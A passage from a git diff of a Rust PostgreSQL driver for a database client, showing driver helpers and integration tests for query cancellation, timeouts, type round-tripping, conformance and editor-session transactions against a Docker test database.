+} + +async fn count(client: &Client, probe: &Statement) -> Result { + let rows: Vec = client + .query_typed_raw(probe.sql(), typed(probe.params())) + .await + .map_err(|error| map_error(&error))? + .try_collect() + .await + .map_err(|error| map_error(&error))?; + let row = rows + .first() + .ok_or_else(|| DriverError::Protocol("the key probe returned no row".to_owned()))?; + let RawCell(value) = row.try_get(0).map_err(|error| map_error(&error))?; + value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the key probe returned {value:?}"))) +} + +/// The transaction's id, taken before COMMIT so a commit whose answer is +/// lost can be asked about afterwards. +async fn transaction_id(client: &Client, legacy: bool) -> Result { + let sql = if legacy { + "SELECT txid_current()::text" + } else { + "SELECT pg_current_xact_id()::text" + }; + let messages = client.simple_query(sql).await.map_err(|error| map_error(&error))?; + let xid = messages + .iter() + .find_map(|message| match message { + tokio_postgres::SimpleQueryMessage::Row(row) => row.get(0), + _ => None, + }) + .and_then(|text| text.parse::().ok()) + .ok_or_else(|| DriverError::Protocol("the server returned no transaction id".to_owned()))?; + Ok(CommitToken::PostgresXid { + xid, + legacy_txid: legacy, + }) +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::TableRef; + use tablepro_core::{ForeignKeyCheck, ForeignKeyMode}; + + use super::*; + + fn batch(foreign_keys: ForeignKeyMode) -> WriteBatch { + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + Vec::new(), + foreign_keys, + ) + } + + #[test] + fn non_sqlite_drivers_reject_suspension() { + let suspended = ForeignKeyMode::SuspendedThenVerified { + checks: vec![ForeignKeyCheck::same_table(TableRef::unqualified("t"))], + }; + + assert!(matches!( + precheck(&batch(suspended), false), + Err(DriverError::Unsupported { + feature: "foreign key suspension" + }) + )); + assert!(precheck(&batch(ForeignKeyMode::Enforced), false).is_ok()); + } + + #[test] + fn write_batch_client_guard() { + assert!(matches!( + precheck(&batch(ForeignKeyMode::Enforced), true), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + )); + } +} diff --git a/linux/crates/drivers/postgres/tests/integration.rs b/linux/crates/drivers/postgres/tests/integration.rs deleted file mode 100644 index df3e86aeba..0000000000 --- a/linux/crates/drivers/postgres/tests/integration.rs +++ /dev/null @@ -1,341 +0,0 @@ -use std::str::FromStr; - -use chrono::{DateTime, NaiveDate, NaiveDateTime, NaiveTime, TimeZone, Utc}; -use rust_decimal::Decimal; -use serde_json::json; -use uuid::Uuid; - -use drivers_postgres::PgDriver; -use tablepro_core::value::{JsonText, OffsetTimestamp, SqlTime, Temporal}; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; -use testcontainers::ImageExt; -use testcontainers::{ContainerAsync, TestcontainersError}; -use testcontainers_modules::postgres::Postgres; -use testcontainers_modules::testcontainers::runners::AsyncRunner; - -async fn start_pg() -> Result<(ContainerAsync, ConnectOptions), TestcontainersError> { - // Pin to Postgres 16: the introspection query in `fetch_columns` - // reads `pg_attribute.attgenerated`, which was added in PG 12. - // testcontainers-modules's default tag is older and breaks the - // generated-column flag query. PG 11 hit upstream EOL in Nov 2023 - // so production deployments shouldn't be older than this anyway. - let container = Postgres::default().with_tag("16-alpine").start().await?; - let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(5432).await?; - let opts = ConnectOptions { - host, - port, - database: "postgres".into(), - username: "postgres".into(), - password: secrecy::SecretString::new("postgres".to_string().into()), - use_tls: false, - ..Default::default() - }; - Ok((container, opts)) -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn connect_list_tables_and_pk_detection() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE pk_demo ( - id serial PRIMARY KEY, - name text NOT NULL, - note text - )", - ) - .await - .unwrap(); - conn.execute("INSERT INTO pk_demo (name, note) VALUES ('a', NULL), ('b', 'second')") - .await - .unwrap(); - - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "pk_demo")); - - let cols = conn.fetch_columns(None, "pk_demo").await.unwrap(); - assert_eq!(cols.len(), 3); - let id_col = cols.iter().find(|c| c.name == "id").unwrap(); - assert!(id_col.primary_key, "id must be detected as primary key"); - assert!(!id_col.nullable); - let note_col = cols.iter().find(|c| c.name == "note").unwrap(); - assert!(!note_col.primary_key); - assert!(note_col.nullable); - - let result = conn.fetch_rows(None, "pk_demo", 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 2); - assert!(!result.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn value_roundtrip_all_types() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE roundtrip ( - id serial PRIMARY KEY, - b bool, - i2 smallint, - i4 integer, - i8 bigint, - f4 real, - f8 double precision, - num numeric(20,5), - t text, - bytes bytea, - d date, - tm time, - dt timestamp, - tz timestamptz, - u uuid, - j jsonb, - nullable_text text - )", - ) - .await - .unwrap(); - - let date = NaiveDate::from_ymd_opt(2024, 6, 15).unwrap(); - let time = NaiveTime::from_hms_opt(13, 45, 30).unwrap(); - let dt = NaiveDateTime::new(date, time); - let tz: DateTime = Utc.with_ymd_and_hms(2024, 6, 15, 13, 45, 30).unwrap(); - let uuid = Uuid::from_str("550e8400-e29b-41d4-a716-446655440000").unwrap(); - let dec = Decimal::from_str("12345.67890").unwrap(); - let json_val = json!({"k": [1, 2, 3], "nested": {"flag": true}}); - - let params = vec![ - Value::Bool(true), - Value::Int(123), - Value::Int(2_000_000_000), - Value::Int(9_000_000_000_000_000_000), - Value::Float64(1.5_f64), - Value::Float64(std::f64::consts::PI), - Value::Decimal(dec.to_string().parse().expect("a decimal")), - Value::Text("hello\nworld".into()), - Value::Bytes(vec![0xde, 0xad, 0xbe, 0xef]), - Value::Date(Temporal::Finite(date)), - Value::Time(SqlTime::from_time_of_day(time)), - Value::Timestamp(Temporal::Finite(dt)), - Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(tz.fixed_offset()))), - Value::Uuid(uuid), - Value::Json(JsonText::parse(json_val.to_string()).expect("valid json")), - Value::Null, - ]; - - let res = conn - .execute_params( - "INSERT INTO roundtrip - (b, i2, i4, i8, f4, f8, num, t, bytes, d, tm, dt, tz, u, j, nullable_text) - VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)", - ¶ms, - ) - .await - .unwrap(); - assert_eq!(res.rows_affected, 1); - - let q = conn - .query( - "SELECT b, i2, i4, i8, f4, f8, num, t, bytes, d, tm, dt, tz, u, j, nullable_text - FROM roundtrip ORDER BY id", - ) - .await - .unwrap(); - assert_eq!(q.rows.len(), 1); - let row = &q.rows[0]; - - assert!(matches!(row[0], Value::Bool(true))); - assert!(matches!(row[1], Value::Int(123))); - assert!(matches!(row[2], Value::Int(2_000_000_000))); - assert!(matches!(row[3], Value::Int(9_000_000_000_000_000_000))); - // A real keeps its own width: widening it to f64 and back does - // not round-trip. - match &row[4] { - Value::Float32(f) => assert_eq!(*f, 1.5_f32), - v => panic!("expected a 32-bit float, got {v:?}"), - } - match &row[5] { - Value::Float64(f) => assert!((*f - std::f64::consts::PI).abs() < 1e-9), - v => panic!("expected float, got {v:?}"), - } - match &row[6] { - Value::Decimal(d) => assert_eq!(d.to_string(), "12345.67890"), - v => panic!("expected decimal, got {v:?}"), - } - assert_eq!(row[7], Value::Text("hello\nworld".into())); - assert_eq!(row[8], Value::Bytes(vec![0xde, 0xad, 0xbe, 0xef])); - assert_eq!(row[9], Value::Date(Temporal::Finite(date))); - assert_eq!(row[10], Value::Time(SqlTime::from_time_of_day(time))); - assert_eq!(row[11], Value::Timestamp(Temporal::Finite(dt))); - assert_eq!( - row[12], - Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(tz.fixed_offset()))) - ); - assert_eq!(row[13], Value::Uuid(uuid)); - // The document comes back the way jsonb prints it, not the way - // it was written: jsonb stores a parsed document, so the grid - // shows the server's own rendering. - match &row[14] { - Value::Json(v) => assert_eq!(v.as_str(), r#"{"k": [1, 2, 3], "nested": {"flag": true}}"#), - v => panic!("expected json, got {v:?}"), - } - assert_eq!(row[15], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn pagination_and_truncated_flag() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE big (i int PRIMARY KEY)").await.unwrap(); - let mut sql = String::from("INSERT INTO big (i) VALUES "); - for i in 0..50 { - if i > 0 { - sql.push(','); - } - sql.push_str(&format!("({i})")); - } - conn.execute(&sql).await.unwrap(); - - let page = conn.fetch_rows(None, "big", 10, 5).await.unwrap(); - assert_eq!(page.rows.len(), 5); - let firsts: Vec = page - .rows - .iter() - .map(|r| match r[0] { - Value::Int(i) => i, - _ => panic!(), - }) - .collect(); - assert_eq!(firsts, vec![10, 11, 12, 13, 14]); - - let q = conn.query("SELECT i FROM big ORDER BY i").await.unwrap(); - assert_eq!(q.rows.len(), 50); - assert!(!q.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn bad_sql_returns_query_error() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - let err = conn.query("SELECT * FROM no_such_table").await.unwrap_err(); - let msg = format!("{err}"); - assert!( - msg.to_lowercase().contains("no_such_table") || msg.to_lowercase().contains("relation"), - "expected error to mention missing relation, got: {msg}" - ); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn binary_only_types_read_back() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE wire_types ( - id serial PRIMARY KEY, - wide numeric, - bits bit(5), - varying_bits varbit, - span interval, - clock timetz, - nothing numeric - )", - ) - .await - .unwrap(); - conn.execute( - "INSERT INTO wire_types (wide, bits, varying_bits, span, clock, nothing) - VALUES (123456789012345678901234567890.123456789, - B'10110', - B'1101', - INTERVAL '1 year 2 mons 3 days 04:05:06.5', - TIMETZ '13:45:30+07:00', - NULL)", - ) - .await - .unwrap(); - - let q = conn - .query("SELECT wide, bits, varying_bits, span, clock, nothing FROM wire_types") - .await - .unwrap(); - let row = &q.rows[0]; - - match &row[0] { - Value::Decimal(d) => assert_eq!(d.to_string(), "123456789012345678901234567890.123456789"), - v => panic!("expected a numeric past 28 digits, got {v:?}"), - } - match &row[1] { - Value::Bits(b) => assert_eq!(b.to_string(), "10110"), - v => panic!("expected bits, got {v:?}"), - } - match &row[2] { - Value::Bits(b) => assert_eq!(b.to_string(), "1101"), - v => panic!("expected varying bits, got {v:?}"), - } - match &row[3] { - Value::Interval(i) => { - assert_eq!(i.months, 14); - assert_eq!(i.days, 3); - assert_eq!(i.microseconds, 14_706_500_000); - } - v => panic!("expected an interval, got {v:?}"), - } - match &row[4] { - Value::TimeTz(t) => { - let expected = NaiveTime::from_hms_opt(13, 45, 30).expect("a time"); - assert_eq!(t.time, SqlTime::from_time_of_day(expected)); - assert_eq!(t.offset.local_minus_utc(), 7 * 3600); - } - v => panic!("expected a time with offset, got {v:?}"), - } - // A NULL in a type the driver reads through the wire form still - // reads as a NULL, not as an unreadable value. - assert_eq!(row[5], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn column_comments_round_trip() { - let (_c, opts) = start_pg().await.unwrap(); - let conn = PgDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE comment_demo (id integer, email text)") - .await - .unwrap(); - conn.execute("COMMENT ON COLUMN comment_demo.email IS 'primary contact'") - .await - .unwrap(); - - let read = - |cols: Vec, name: &str| cols.into_iter().find(|c| c.name == name).unwrap().comment; - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("primary contact")); - assert_eq!(read(cols.clone(), "id"), None); - - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = Some("who to mail".into()); - for sql in tablepro_core::sql_ddl::build_alter_column("postgres", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("who to mail")); - - column = tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = None; - for sql in tablepro_core::sql_ddl::build_alter_column("postgres", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols, "email"), None); -} diff --git a/linux/crates/drivers/postgres/tests/integration/cancellation.rs b/linux/crates/drivers/postgres/tests/integration/cancellation.rs new file mode 100644 index 0000000000..b29f0caad8 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/cancellation.rs @@ -0,0 +1,70 @@ +//! A stop reaches the server: the backend goes idle rather than finishing +//! work nobody waits for. + +use std::time::Duration; + +use tablepro_core::{CallOptions, Connection, DriverError, RowLimit, TimeoutPhase, Value}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::support::{connect, scalar, start, statement, within}; + +const SLEEPERS: &str = "SELECT count(*) FROM pg_stat_activity \ + WHERE state = 'active' AND query LIKE '%pg_sleep(60)%' AND pid <> pg_backend_pid()"; + +async fn backends_sleeping(connection: &dyn Connection) -> Value { + scalar(connection, SLEEPERS).await +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn pg_sleep_cancel_returns_cancelled_within_2s_backend_idle() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let cancel = CancellationToken::new(); + let stopper = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(500)).await; + stopper.cancel(); + }); + let started = Instant::now(); + + let outcome = connection + .query_bound( + &statement("SELECT pg_sleep(60)"), + RowLimit::EDITOR_DEFAULT, + CallOptions::new(None, cancel), + ) + .await; + + assert!(matches!(outcome, Err(DriverError::Cancelled)), "{outcome:?}"); + assert!(started.elapsed() < Duration::from_secs(2), "{:?}", started.elapsed()); + assert_eq!(backends_sleeping(connection.as_ref()).await, Value::Int(0)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn deadline_1s_timeout_server_cancelled() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + let outcome = connection + .query_bound( + &statement("SELECT pg_sleep(60)"), + RowLimit::EDITOR_DEFAULT, + within(Duration::from_secs(1)), + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + }) + ), + "{outcome:?}" + ); + assert_eq!(backends_sleeping(connection.as_ref()).await, Value::Int(0)); +} diff --git a/linux/crates/drivers/postgres/tests/integration/conformance_engine.rs b/linux/crates/drivers/postgres/tests/integration/conformance_engine.rs new file mode 100644 index 0000000000..0a480d6f5b --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/conformance_engine.rs @@ -0,0 +1,165 @@ +//! The connection conformance suite against PostgreSQL. + +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_postgres::{PgDriver, WORKSPACE_POOL_MAX_SIZE}; +use tablepro_core::{ + ConnectOptions, DatabaseDriver, LivenessPolicy, NetworkEndpoint, TableRef, TlsConfig, WorkspaceSettings, +}; +use tablepro_test_fixtures::{HbaMode, PostgresFixture}; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::{ + BoundedDdlEngine, ConformanceEngine, ConformanceFailure, EditorTransactionEngine, NetworkConformanceEngine, + PooledConformanceEngine, TypedConformanceEngine, UnsupportedTypeCase, +}; + +use crate::support::{direct, options_over, password}; + +pub struct PgEngine { + fixture: PostgresFixture, +} + +fn quoted(name: &str) -> String { + format!("\"{}\"", name.replace('"', "\"\"")) +} + +#[async_trait] +impl ConformanceEngine for PgEngine { + fn driver() -> Arc { + Arc::new(PgDriver) + } + + async fn start() -> Result { + let fixture = PostgresFixture::start(HbaMode::Password) + .await + .map_err(ConformanceFailure::setup)?; + Ok(Self { fixture }) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + options_over( + direct(self.fixture.host(), self.fixture.port(), &liveness), + password(&self.fixture.password_credentials()), + self.fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ) + } + + fn scratch_table(&self, name: &str) -> TableRef { + TableRef::new(Some("public".to_owned()), name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE public.{} (id integer PRIMARY KEY, label text NOT NULL)", + quoted(&table.name) + ) + } + + fn unbounded_statement_sql(&self, marker: &str) -> String { + format!("SELECT pg_sleep(3600) /* {marker} */") + } + + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + Ok(format!("SELECT pg_sleep({}) /* {marker} */", hold.as_secs_f64())) + } + + fn row_source_sql(&self, rows: u64) -> String { + format!("SELECT generate_series(1, {rows})") + } +} + +#[async_trait] +impl NetworkConformanceEngine for PgEngine { + async fn faulty_connect_options( + &self, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result<(ConnectOptions, Arc), ConformanceFailure> { + let endpoint = + NetworkEndpoint::new(self.fixture.host(), self.fixture.port()).map_err(ConformanceFailure::setup)?; + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).map_err(ConformanceFailure::setup)?); + let options = options_over( + fault.clone(), + password(&self.fixture.password_credentials()), + self.fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ); + Ok((options, fault)) + } + + fn running_statement_count_sql(&self, marker: &str) -> String { + format!( + "SELECT count(*) FROM pg_stat_activity \ + WHERE state = 'active' AND query LIKE '%{marker}%' AND pid <> pg_backend_pid()" + ) + } +} + +impl PooledConformanceEngine for PgEngine { + const WORKSPACE_POOL_MAX_SIZE: usize = WORKSPACE_POOL_MAX_SIZE; +} + +impl EditorTransactionEngine for PgEngine { + fn begin_sql(&self) -> String { + "BEGIN".to_owned() + } + + fn commit_sql(&self) -> String { + "COMMIT".to_owned() + } +} + +impl TypedConformanceEngine for PgEngine { + fn unsupported_type_cases(&self) -> Vec { + let case = |setup: &[&str], declaration: &str, value: &str| UnsupportedTypeCase { + setup_sql: setup.iter().map(|sql| (*sql).to_owned()).collect(), + declaration: declaration.to_owned(), + insert_value_sql: value.to_owned(), + }; + vec![ + case(&[], "v point", "'(1,2)'::point"), + case(&[], "v int4range", "'[1,5)'::int4range"), + case( + &["CREATE TYPE tp_pair AS (a integer, b text)"], + "v tp_pair", + "ROW(1, 'x')::tp_pair", + ), + case( + &["CREATE TYPE tp_mood AS ENUM ('happy', 'sad')"], + "v tp_mood", + "'happy'::tp_mood", + ), + ] + } +} + +impl BoundedDdlEngine for PgEngine { + fn schema_change_exceeding_sql(&self, table: &TableRef, duration: Duration) -> String { + format!( + "CREATE TABLE public.{} AS SELECT 1 AS id FROM pg_sleep({})", + quoted(&table.name), + duration.as_secs_f64() + ) + } +} + +mod suite { + use super::PgEngine; + + tablepro_test_support::connection_conformance_suite! { + engine: PgEngine, + docker: true, + endpoint: network, + pool: pooled, + editor_transactions: true, + unsupported_types: true, + bounded_ddl: true, + } +} diff --git a/linux/crates/drivers/postgres/tests/integration/decode.rs b/linux/crates/drivers/postgres/tests/integration/decode.rs new file mode 100644 index 0000000000..5a48edcdcb --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/decode.rs @@ -0,0 +1,235 @@ +//! Values written through bound parameters and read back through a +//! browse page come back exactly as they went in. + +use chrono::{DateTime, FixedOffset, NaiveDate}; +use tablepro_core::browse::{PageRequest, build_page, split_page}; +use tablepro_core::edit::CellInput; +use tablepro_core::filter::FilterSet; +use tablepro_core::meta::{PagePosition, RowIdentity, TableRef}; +use tablepro_core::save::{ChangeSet, RowInsert, RowUpdate, plan_save}; +use tablepro_core::value::{ + BitString, JsonText, OffsetTimestamp, OtherValue, SqlDecimal, SqlInterval, SqlTime, Temporal, TimeWithOffset, +}; +use tablepro_core::{Connection, RowLimit, Value}; + +use crate::support::{CALL, connect, scalar, setup, start, text, within}; + +const MATRIX: &str = "CREATE TABLE matrix ( + id int PRIMARY KEY, + i2 int2, i4 int4, i8 int8, f4 float4, f8 float8, + num numeric(20, 5), num_any numeric, b bool, + txt text, vc varchar(10), ch char(5), bytes bytea, u uuid, + js json, jb jsonb, + d date, ts timestamp(6), tstz timestamptz, tm time, ttz timetz, iv interval, + bt bit(4), vb varbit(8), ip inet, mac macaddr +)"; + +fn other(type_name: &str, text: &str) -> Value { + Value::Other(Box::new(OtherValue { + type_name: type_name.to_owned(), + text: text.to_owned(), + })) +} + +fn matrix_row() -> Vec { + let stamp = NaiveDate::from_ymd_opt(2024, 2, 29) + .and_then(|date| date.and_hms_micro_opt(13, 45, 30, 123_456)) + .expect("a timestamp"); + let instant = DateTime::parse_from_rfc3339("2024-06-15T06:00:00.5+00:00").expect("an instant"); + vec![ + Value::Int(1), + Value::Int(-32_768), + Value::Int(2_147_483_647), + Value::Int(i64::MIN), + Value::Float32(1.5), + Value::Float64(-2.25e100), + Value::Decimal("12345.67890".parse().expect("a decimal")), + Value::Decimal(SqlDecimal::nan()), + Value::Bool(true), + Value::Text("naïve ✓ ' \\ text".to_owned()), + Value::Text("short".to_owned()), + Value::Text("ab ".to_owned()), + Value::Bytes(vec![0, 255, 1]), + Value::Uuid(uuid::Uuid::from_u128(0x0123_4567_89ab_cdef_0123_4567_89ab_cdef)), + Value::Json(JsonText::parse(r#"{"b": 1, "a": [2]}"#.to_owned()).expect("json")), + Value::Json(JsonText::parse(r#"{"a": 1}"#.to_owned()).expect("json")), + Value::Date(Temporal::Infinity), + Value::Timestamp(Temporal::Finite(stamp)), + Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(instant))), + Value::Time("24:00:00".parse::().expect("a time")), + Value::TimeTz(TimeWithOffset { + time: "12:34:56".parse().expect("a time"), + offset: FixedOffset::east_opt(7 * 3600).expect("an offset"), + }), + Value::Interval(SqlInterval { + months: 14, + days: -3, + microseconds: 4_500_000, + }), + Value::Bits(BitString::from_u64(0b1010, 4)), + Value::Bits(BitString::from_u64(0b101, 3)), + other("inet", "10.0.0.1/8"), + other("macaddr", "08:00:2b:01:02:03"), + ] +} + +async fn page(connection: &dyn Connection, table: &TableRef) -> Vec> { + let columns = connection + .fetch_columns(table, within(CALL)) + .await + .expect("the columns"); + let identity = connection + .row_identity(table, within(CALL)) + .await + .expect("the identity"); + let dialect = connection.dialect(); + let filter = FilterSet::default(); + let spec = build_page( + dialect.as_ref(), + &PageRequest { + table, + columns: &columns, + filter: &filter, + sort: &[], + identity: &identity, + position: &PagePosition::First, + limit: 100, + }, + ) + .expect("a page query"); + let result = connection + .query_bound(&spec.statement, RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("the page"); + split_page(result, &spec).expect("a page").rows +} + +async fn save(connection: &dyn Connection, table: &TableRef, changes: &ChangeSet) { + let columns = connection + .fetch_columns(table, within(CALL)) + .await + .expect("the columns"); + let identity = connection + .row_identity(table, within(CALL)) + .await + .expect("the identity"); + let dialect = connection.dialect(); + let plan = plan_save(dialect.as_ref(), table, &columns, &identity, changes).expect("a save plan"); + connection + .write_batch(&plan.batch, within(CALL)) + .await + .expect("the save"); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn round_trip_matrix() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &[MATRIX]).await; + let table = TableRef::new(Some("public".to_owned()), "matrix"); + let written = matrix_row(); + let changes = ChangeSet { + inserts: vec![RowInsert { + cells: written.iter().cloned().map(CellInput::Value).collect(), + }], + ..ChangeSet::default() + }; + + save(connection.as_ref(), &table, &changes).await; + let read = page(connection.as_ref(), &table).await; + + assert_eq!(read.len(), 1); + let names = connection + .fetch_columns(&table, within(CALL)) + .await + .expect("the columns"); + for ((column, sent), got) in names.iter().zip(&written).zip(&read[0]) { + assert_eq!(got, sent, "{} did not round-trip", column.name); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn an_empty_page_still_has_its_columns() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &[MATRIX]).await; + let table = TableRef::new(Some("public".to_owned()), "matrix"); + + let read = page(connection.as_ref(), &table).await; + + assert!(read.is_empty()); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn set_null_saves_typed_null() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE t (id int PRIMARY KEY, u uuid, d date, n numeric, b bit(3))", + "INSERT INTO t VALUES (1, gen_random_uuid(), now(), 1.5, B'101')", + ], + ) + .await; + let table = TableRef::new(Some("public".to_owned()), "t"); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(1)], + assignments: (1..=4).map(|column| (column, Value::Null)).collect(), + }], + ..ChangeSet::default() + }; + + save(connection.as_ref(), &table, &changes).await; + let read = page(connection.as_ref(), &table).await; + + assert_eq!(read[0][1..], [Value::Null, Value::Null, Value::Null, Value::Null]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn char10_key_update_affects_one_row() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE c (code char(10) PRIMARY KEY, v text)", + "INSERT INTO c VALUES ('ab', 'x'), ('abc', 'y')", + ], + ) + .await; + let table = TableRef::new(Some("public".to_owned()), "c"); + let identity = connection + .row_identity(&table, within(CALL)) + .await + .expect("the identity"); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Text("ab".to_owned())], + assignments: vec![(1, Value::Text("changed".to_owned()))], + }], + ..ChangeSet::default() + }; + + save(connection.as_ref(), &table, &changes).await; + + assert_eq!( + identity, + RowIdentity::UniqueKey { + columns: vec!["code".to_owned()] + } + ); + assert_eq!( + text(&scalar(connection.as_ref(), "SELECT v FROM c WHERE code = 'ab'").await), + "changed" + ); + assert_eq!( + text(&scalar(connection.as_ref(), "SELECT v FROM c WHERE code = 'abc'").await), + "y" + ); +} diff --git a/linux/crates/drivers/postgres/tests/integration/editor_session.rs b/linux/crates/drivers/postgres/tests/integration/editor_session.rs new file mode 100644 index 0000000000..faaf76396b --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/editor_session.rs @@ -0,0 +1,483 @@ +//! Editor sessions in psql's model: one statement per message, the +//! transaction status followed exactly, and the row limit applied by a +//! cursor that never changes what a script does. + +use std::time::Duration; + +use tablepro_core::{ + DriverError, EditorSessionState, ResultEvent, RowLimit, RunEnd, RunOptions, TransactionState, Truncation, Value, +}; +use tokio_util::sync::CancellationToken; + +use crate::support::{ + CALL, EventSink, Events, connect, run, run_ok, run_with, scalar, session, setup, start, text, within, +}; + +fn limited(rows: u64) -> RunOptions { + RunOptions::new(CancellationToken::new()).with_row_limit(RowLimit::new(rows).expect("a limit")) +} + +fn texts(events: &Events) -> Vec { + events.rows().iter().flatten().map(text).collect() +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn begin_update_rollback_persists_state() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE t (id int PRIMARY KEY, v text)", + "INSERT INTO t VALUES (1, 'a')", + ], + ) + .await; + let session = session(connection.as_ref()).await; + + let (begun, _) = run(session.as_ref(), "BEGIN").await; + let (updated, _) = run(session.as_ref(), "UPDATE t SET v = 'b' WHERE id = 1").await; + let elsewhere = scalar(connection.as_ref(), "SELECT v FROM t").await; + let (rolled_back, _) = run(session.as_ref(), "ROLLBACK").await; + + assert_eq!(begun.transaction_state, TransactionState::InTransaction); + assert_eq!(updated.transaction_state, TransactionState::InTransaction); + assert_eq!(text(&elsewhere), "a", "an uncommitted update was visible elsewhere"); + assert_eq!(rolled_back.transaction_state, TransactionState::Idle); + assert_eq!( + session.transaction_state(within(CALL)).await, + Ok(TransactionState::Idle) + ); + assert_eq!(text(&scalar(connection.as_ref(), "SELECT v FROM t").await), "a"); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn set_search_path_and_temp_table_persist() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + run_ok(session.as_ref(), "CREATE SCHEMA app; CREATE TABLE app.items (n int)").await; + run_ok(session.as_ref(), "SET search_path TO app, public").await; + run_ok(session.as_ref(), "CREATE TEMP TABLE scratch AS SELECT 7 AS n").await; + let temp = run_ok(session.as_ref(), "SELECT n FROM scratch").await; + let path = run_ok(session.as_ref(), "SHOW search_path").await; + + assert_eq!(texts(&temp), ["7"]); + assert_eq!(texts(&path), ["app, public"]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn create_function_with_dollar_body() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let events = run_ok( + session.as_ref(), + "CREATE FUNCTION add_one(i int) RETURNS int AS $body$ SELECT i + 1; $body$ LANGUAGE sql;\nSELECT add_one(41)", + ) + .await; + + assert_eq!(texts(&events), ["42"]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn create_function_begin_atomic_runs_as_one_statement() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let events = 